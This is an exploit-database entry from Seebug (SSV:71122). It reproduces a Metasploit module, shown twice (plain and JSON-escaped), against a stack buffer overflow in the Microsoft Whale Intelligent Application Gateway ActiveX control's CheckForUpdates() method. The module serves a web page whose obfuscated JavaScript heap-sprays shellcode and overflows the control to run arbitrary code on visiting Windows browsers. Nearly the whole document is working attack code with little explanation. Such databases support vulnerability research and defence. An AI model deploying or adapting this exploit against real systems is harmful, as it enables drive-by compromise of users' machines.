ID SSV:71122
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00
Description
No description provided by source.
##
# $Id: mswhale_checkforupdates.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Microsoft Whale Intelligent Application
Gateway Whale Client. When sending an overly long string to CheckForUpdates()
method of WhlMgr.dll (3.1.502.64) an attacker may be able to execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2007-2238' ],
[ 'OSVDB', '53933'],
[ 'URL', 'http://technet.microsoft.com/en-us/library/dd282918.aspx' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
],
'DisclosureDate' => 'Apr 15 2009',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# fluff..
fluff = rand_text_english(rand(20) + 1)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Set the return.
ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)
js = %Q|
try {
var evil_string = "";
var index;
var vulnerable = new ActiveXObject('ComponentManager.Installer.1');
var my_unescape = unescape;
var shellcode = '#{shellcode}';
#{js_heap_spray}
sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);
for (index = 0; index < 15000; index++) {
evil_string = evil_string + my_unescape('#{ret}');
}
vulnerable.CheckForUpdates(evil_string,'#{fluff}');
} catch( e ) { window.location = 'about:blank' ; }
|
opts = {
'Strings' => true,
'Symbols' => {
'Variables' => [
'vulnerable',
'shellcode',
'my_unescape',
'index',
'evil_string',
]
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
js.update_opts(js_heap_spray.opts)
js.obfuscate()
content = %Q|<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
{"lastseen": "2017-11-19T16:44:27", "modified": "2014-07-01T00:00:00", "description": "No description provided by source.", "cvss": {"score": 0.0, "vector": "NONE"}, "published": "2014-07-01T00:00:00", "status": "cve,poc", "enchantments": {"score": {"value": 0.6, "vector": "NONE", "modified": "2017-11-19T16:44:27", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T16:44:27", "rev": 2}, "vulnersScore": 0.6}, "href": "https://www.seebug.org/vuldb/ssvid-71122", "references": [], "enchantments_done": [], "id": "SSV:71122", "title": "Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow", "bulletinFamily": "exploit", "reporter": "Root", "cvelist": [], "viewCount": 1, "sourceData": "\n ##\r\n# $Id: mswhale_checkforupdates.rb 9262 2010-05-09 17:45:00Z jduck $\r\n##\r\n\r\n##\r\n# This file is part of the Metasploit Framework and may be subject to\r\n# redistribution and commercial restrictions. Please see the Metasploit\r\n# Framework web site for more information on licensing and terms of use.\r\n# http://metasploit.com/framework/\r\n##\r\n\r\nrequire 'msf/core'\r\n\r\nclass Metasploit3 < Msf::Exploit::Remote\r\n\tRank = NormalRanking\r\n\r\n\tinclude Msf::Exploit::Remote::HttpServer::HTML\r\n\r\n\tdef initialize(info = {})\r\n\t\tsuper(update_info(info,\r\n\t\t\t'Name' => 'Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow',\r\n\t\t\t'Description' => %q{\r\n\t\t\t\t\tThis module exploits a stack buffer overflow in Microsoft Whale Intelligent Application\r\n\t\t\t\tGateway Whale Client. When sending an overly long string to CheckForUpdates()\r\n\t\t\t\tmethod of WhlMgr.dll (3.1.502.64) an attacker may be able to execute\r\n\t\t\t\tarbitrary code.\r\n\t\t\t},\r\n\t\t\t'License' => MSF_LICENSE,\r\n\t\t\t'Author' => [ 'MC' ],\r\n\t\t\t'Version' => '$Revision: 9262 $',\r\n\t\t\t'References' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t[ 'CVE', '2007-2238' ],\r\n\t\t\t\t\t[ 'OSVDB', '53933'],\r\n\t\t\t\t\t[ 'URL', 'http://technet.microsoft.com/en-us/library/dd282918.aspx' ],\r\n\t\t\t\t],\r\n\t\t\t'DefaultOptions' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t'EXITFUNC' => 'process',\r\n\t\t\t\t},\r\n\t\t\t'Payload' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t'Space' => 1024,\r\n\t\t\t\t\t'BadChars' => "\\x00",\r\n\t\t\t\t},\r\n\t\t\t'Platform' => 'win',\r\n\t\t\t'Targets' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]\r\n\t\t\t\t],\r\n\t\t\t'DisclosureDate' => 'Apr 15 2009',\r\n\t\t\t'DefaultTarget' => 0))\r\n\tend\r\n\r\n\tdef autofilter\r\n\t\tfalse\r\n\tend\r\n\r\n\tdef check_dependencies\r\n\t\tuse_zlib\r\n\tend\r\n\r\n\tdef on_request_uri(cli, request)\r\n\t\t# Re-generate the payload.\r\n\t\treturn if ((p = regenerate_payload(cli)) == nil)\r\n\r\n\t\t# fluff..\r\n\t\tfluff = rand_text_english(rand(20) + 1)\r\n\r\n\t\t# Encode the shellcode.\r\n\t\tshellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))\r\n\r\n\t\t# Set the return.\r\n\t\tret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)\r\n\r\n\t\tjs = %Q|\r\n\t\t\ttry {\r\n\t\t\t\tvar evil_string = "";\r\n\t\t\t\tvar index;\r\n\t\t\t\tvar vulnerable = new ActiveXObject('ComponentManager.Installer.1');\r\n\t\t\t\tvar my_unescape = unescape;\r\n\t\t\t\tvar shellcode = '#{shellcode}';\r\n\t\t\t\t#{js_heap_spray}\r\n\t\t\t\tsprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);\r\n\t\t\t\tfor (index = 0; index < 15000; index++) {\r\n\t\t\t\t\tevil_string = evil_string + my_unescape('#{ret}');\r\n\t\t\t\t}\r\n\t\t\t\tvulnerable.CheckForUpdates(evil_string,'#{fluff}');\r\n\t\t\t} catch( e ) { window.location = 'about:blank' ; }\r\n\t\t|\r\n\r\n\t\topts = {\r\n\t\t\t'Strings' => true,\r\n\t\t\t'Symbols' => {\r\n\t\t\t\t'Variables' => [\r\n\t\t\t\t\t'vulnerable',\r\n\t\t\t\t\t'shellcode',\r\n\t\t\t\t\t'my_unescape',\r\n\t\t\t\t\t'index',\r\n\t\t\t\t\t'evil_string',\r\n\t\t\t\t]\r\n\t\t\t}\r\n\t\t}\r\n\t\tjs = ::Rex::Exploitation::ObfuscateJS.new(js, opts)\r\n\t\tjs.update_opts(js_heap_spray.opts)\r\n\t\tjs.obfuscate()\r\n\t\tcontent = %Q|<html>\r\n<body>\r\n<script><!--\r\n#{js}\r\n//</script>\r\n</body>\r\n</html>\r\n|\r\n\r\n\t\tprint_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")\r\n\r\n\t\t# Transmit the response to the client\r\n\t\tsend_response_html(cli, content)\r\n\r\n\t\t# Handle the payload\r\n\t\thandler(cli)\r\n\tend\r\n\r\nend\r\n\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-71122", "type": "seebug"}
{}